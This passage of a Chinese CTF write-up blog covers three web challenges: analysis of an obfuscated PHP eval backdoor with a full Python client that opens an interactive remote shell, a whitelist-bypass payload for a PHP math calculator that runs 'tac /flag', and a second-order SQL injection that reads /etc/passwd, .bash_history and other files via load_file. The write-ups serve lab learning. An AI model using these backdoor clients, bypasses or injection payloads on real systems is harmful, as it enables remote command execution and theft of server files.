$s[$i]="";
$p=$ss($p,3);
}
if(array_key_exists($i,$s)) {
$s[$i].=$p;
$e=strpos($s[$i],$f);
if($e) {
$k=$kh.$kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
$o=ob_get_contents();
ob_end_clean();
$d=base64_encode(x(gzcompress($o),$k));
print("<$k>$d</$k>");
@session_destroy();
}
}
}
}

做个分析

  • 先是预定义阶段 , 定义了两个字符串和一个 x() 函数
  • 然后获取攻击者发送的数据 , 这里攻击代码是通过 Referer 字段传输的
  • 注意正则函数 preg_match_all() , 该函数从 Accept-Language 取值 , 然后通过正则匹配后输出到 $m 数组中
  • 然后拼接了前两种可选语言的首字母 , 和预定义的字符串拼接并进行 md5 校验 , 截取等操作 . 然后赋值给 $h$f 两个变量
  • 循环中的 $p .= $q[$m[2][$z]] 会不断从 $q 中提取数据 . 结合之前的代码 , 攻击代码是放在 Referer 中的( 最后会放在 $q 中 ) , 因此这里可以看作是拼接攻击代码 , 组合成 Payload .
  • 然后判断 $h 是否出现在 Payload 的开头 , 若是则设置 $_SESSION['$i'] = "" , 同时删除 Payload 的 $h 部分 .
  • 接着判断 $_SESSION 中那个是否存在 $i 这个键名 , 若是则将 Payload 赋值给 $_SESSION[$i] , 然后查找 $_SESSION[$i]( 也就是 Payload ) 中 $f 第一次出现的位置 .
  • 最后执行payload

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re

# 用于生成完整的 Accept-Language
from urllib3.connectionpool import xrange
from yapf.yapflib.py3compat import raw_input


def choicePart(seq,amount):
length = len(seq)
if length == 0 or length < amount:
print('Error Input')
return None
result = [] # 结果
indexes = [] # 索引
count = 0
while count < amount:
i = randint(0,length-1)
if not i in indexes:
indexes.append(i)
result.append(seq[i])
count += 1
if count == amount:
return result

# 生成随机填充字符串( 由所有 ASCII 字符组成 , 包括不可读的字符 )
def randBytesFlow(amount):
result = ''
for i in xrange(amount):
result += chr(randint(0,255))
return result

# 生成随机填充字符串( 由所有大小写字母组成 )
def randAlpha(amount):
result = ''
for i in xrange(amount):
# choice() 方法返回一个列表,元组或字符串的随机项
# string.ascii_letters 会生成所有的字母
result += choice(string.ascii_letters)
return result

# 模拟 x() 函数 , 循环异或加密
def loopXor(text,key):
result = ''
lenKey = len(key)
lenTxt = len(text)
iTxt = 0
while iTxt < lenTxt:
iKey = 0
while iTxt<lenTxt and iKey<lenKey:
result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
iTxt += 1
iKey += 1
return result

# 开启 Debug 选项
def debugPrint(msg):
if debugging:
print (msg)

# 定义基本变量
debugging = False # 默认关闭 Debug , 可用 True 开启
keyh = "42f7" # $kh , 需要修改
keyf = "e9ac" # $kf , 需要修改
xorKey = keyh + keyf # $k
url = 'http://111.198.29.45:47960/hack.php' # 指定 URL , 需要修改
defaultLang = 'zh-CN' #默认Language
languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d'] #Accept-Language 模板
proxies = None # {'http':'http://127.0.0.1:8080'} # 代理 , 可用于 BurpSuite 等
sess = requests.Session() # 创建一个 SESSION 对象

# 每次会话会产生一次随机的 Accept-Language
langTmp = choicePart(languages,3) # 输出一个列表 , 包含模板中的三种 Accept-language
indexes = sorted(choicePart(range(1,10),3), reverse=True) # 降序排序输出三个权重值 , 例如 [8,6,4]

acceptLang = [defaultLang] # 先添加默认Language
for i in xrange(3):
acceptLang.append(langTmp[i] % (indexes[i],)) # 然后循环添加三种 Accept-Language , 并为其添加权重值
acceptLangStr = ','.join(acceptLang) # 将多个 Accept-Language 用 " , " 拼接在一起
# acceptLangStr 即为要使用的 Accept-Language
debugPrint(acceptLangStr)

init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3] # $h
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8)) # $f + 填充字符串
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))

# 交互式 Shell
cmd = "system('" + raw_input('shell > ') + "');"
while cmd != '':
# 在写入 Payload 前填充一些无关数据
query = []
for i in xrange(max(indexes)+1+randint(0,2)):
key = randAlpha(randint(3,6))
value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
query.append((key, value)) # 生成无关数据并填充
debugPrint('Before insert payload:')
debugPrint(query)
debugPrint(urllib.urlencode(query))

# 对 Payload 进行加密
payload = zlib.compress(cmd) # gzcompress 操作
payload = loopXor(payload,xorKey) # 循环异或运算 , PHP代码中的 x() 函数
payload = base64.urlsafe_b64encode(payload) # base64_encode 编码
payload = md5head + payload # 在开头补全$h

# 对Payload进行修改
cutIndex = randint(2,len(payload)-3)
payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
iPiece = 0
for i in indexes:
query[i] = (query[i][0],payloadPieces[iPiece])
iPiece += 1
# 将 Payload 作为查询字符串编码拼接到 Referer 中
referer = url + '?' + urllib.urlencode(query)
debugPrint('After insert payload, referer is:')
debugPrint(query)
debugPrint(referer)

# 发送 HTTP GET 请求
r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
html = r.text
debugPrint(html)

# 接收响应数据包
pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))
output = pattern.findall(html)
# 如果没有收到响应数据包
if len(output) == 0:
print ('Error, no backdoor response')
cmd = "system('" + raw_input('shell > ') + "');"
continue
# 如果收到响应数据包 , 则对其进行处理
output = output[0]
debugPrint(output)
output = output.decode('base64') # base64_decode 解码
output = loopXor(output,xorKey) # 循环异或运算
output = zlib.decompress(output) # gzuncompress 运算
print(output) # 输出响应信息
cmd = "system('" + raw_input('shell > ') + "');"

难度属实有点大了,超出能力范围。

参考

Web_php_wrong_nginx_config WriteUp – H0t-A1r-B4llo0n (guildhab.top)

(2条消息) 攻防世界 web高手进阶区 7分题 Web_php_wrong_nginx_config_闵行小鱼塘-CSDN博客

love_math

这出题人大意了啊。。。直接可以给显示出来了

image-20201205201112120

还是正常做一做,这题好像有问题,就在buuctf上做了

0x1代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

get提交参数c,c的长度不能超过80

不能包括blacklist中的字符

不能有不是$whitelist白名单里面的单词出现

并且函数只能以下面的格式出现

abs(1)能过
1abs()能过
absa()不能过
abs(a)不能过
abs()a不能过

代码的最后出现了 eval 这是我们想看到的,因为它出现的时候,就可能存在命令执行漏洞

这题实在是无能为力,看了王师傅的wp

详情看这里

0x2构造payload

//这题需要使用到php复杂变量,具体可以看这里

当这个题目没有给出那么限制的时候我们想要构造的payload一定是

1
?c=system("cat /flag")

但是由于限制,必须想办法绕过这些限制,比如多提交一个参数,构造出上面的payload

比如

1
?c=($_GET[b])($_GET[a])&b=system&a=cat /flag //这里是b,a多提交的参数,不会被检测 这里的[]可以使用{}代替

下面的具体工作就是如何利用上面提供的函数构造出 _GET,并且能够绕过检测。

首先看一下函数的白名单里给了哪些可以用的函数base_convert(),dechex

还有一些短的函数名pi,cos,sin,tan等,因为限制了长度,所以要尽量使用短的函数名代替a和b

base_convert

dechex

开始的想法就是将利用base_canvert(),转化出一个_GET,但是发现base_convert()不支持_,并且转换出的字符是小写的

image-20201205215546962

所以这里用到了一个中间过渡的函数hex2bin(),与之功能想反的函数是bin2hex()

image-20201205220057762

实现方法如下

image-20201205215938937

下面就是将_GET转换为十六进制数字

1
2
//bin2hex("_GET")->5f474554
?c=$pi=base_convert(37907361743,10,36)(5f474554);($$pi){1}(($$pi){2})&1=system&2=tac /flag

想法是好的,但是这里不能直接提交,因为不符合上面的几种函数使用的格式

所以就要想办法使用一个函数把5f474554提交上去

这里用的是dechex,就是将十进制数转换为十六进制数,再交给hex2bin出来

所以这里有个逆过程就是将5f474554转换为十进制

1
intval('5f474554',16);

所以具体的payload如下

1
2
3
4
5
6
7
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){1}(($$pi){2})&1=system&2=tac /flag

//base_convert(37907361743,10,36)=>hex2bin
//dechex(1598506324)=>5f474554
//hex2bin('5f474554')=>_GET
//$pi=_GET
//($_GET){1}($_GET{2})

7分的题目果然不一样,看wp都写了好久

既然没有能力自己做出来,那就好好研究一下别人做题的思路,以便以后遇到类似题目能够有思路。

comment

0x1扫描目录

拿到题目扫 一下目录,发现是出现.git,那应该就是git源码泄露,可是githacker下载下来的文件好像不全,看了看大佬的wp

暂时没搞懂是怎么下载的,日后再看细看

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

可以看到在write部分提交的都是经过转义后带入查询语句查询的,但是下面的comment中category没有经过任何过滤就带入了sql语句进行查询,这就可能存在二次注入。

0x2二次注入

进入题目可以提交评论,但是要登录,给了提示

1
2
username:zhangwei
password:zhangwei***

使用bp爆破出的密码是zhangwei666

image-20201207093624672

登录后先进入发帖的界面,构造payload

1
2
3
4
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";

之前sql注入方法中经常使用的注释方法都是当行注释,但是这个题目的查询使用的是多行,所以这里注释也需要使用多行注释 /**/

在这里注入的sql语句,在comment页面会被sql重新调出来,从而执行了注入语句,这也是为啥叫做二次注入

于是构造的sql语句如下

1
2
3
4
$sql = "insert into comment
set category = '',content=user(),/*',
content = '*/#',
bo_id = '$bo_id'";

因为中间的 cntent被包围在多行注释中间,所以这里不起作用等价于

1
2
3
$sql = "insert into comment
set category = '',content=user(),
bo_id = '$bo_id'";

当在评论页面评论*/#时,会与之前的/*的进行闭合,就够造出了我们想要的sql语句,user()这个sql函数就会被执行,显示当前的用户

image-20201207094017109

原理知道了,下面就是具体的做这个题目

首先读取 /etc/passwd 看看服务器上有哪些用户,payload为: ‘,content=(select load_file(‘/etc/passwd’)),/*

image-20201207094741282

可以看到是有www用户的,那么久存在.bash_history 记录,继续查看

1
title=1&category=',content=(select( load_file('/home/www/.bash_history'))),/*&content=11

image-20201207094934593

也就是以下几条指令

1
2
3
4
5
6
7
cd  /tmp/ 
unzip html.zip
rm -f html.zip
cp -r html /var/www/
cd /var/www/html/
rm -f .DS_Store
service apache2 start

可以看出来 .Ds_Store是存在/tmp/html目录下的,那就看看有什么

直接查看该文件会发现长度不够,而且显示不可见字符

image-20201207095822022

使用hex()就可以解决这个问题

1
title=1&category=',content=(select hex( load_file('/tmp/html/.DS_Store'))),/*&content=11

在线解码后可以看到以下内容,存在一个 flag_8946e1ff1ee3e40f.php

image-20201207100157447

查看flag,但是要注意的是,这个文件是从 /var/www/html/中复制过来的,所以还是要到那个目录读取

1
title=1&category=',content=(select hex( load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*&content=11

image-20201207101235024

在线解码即可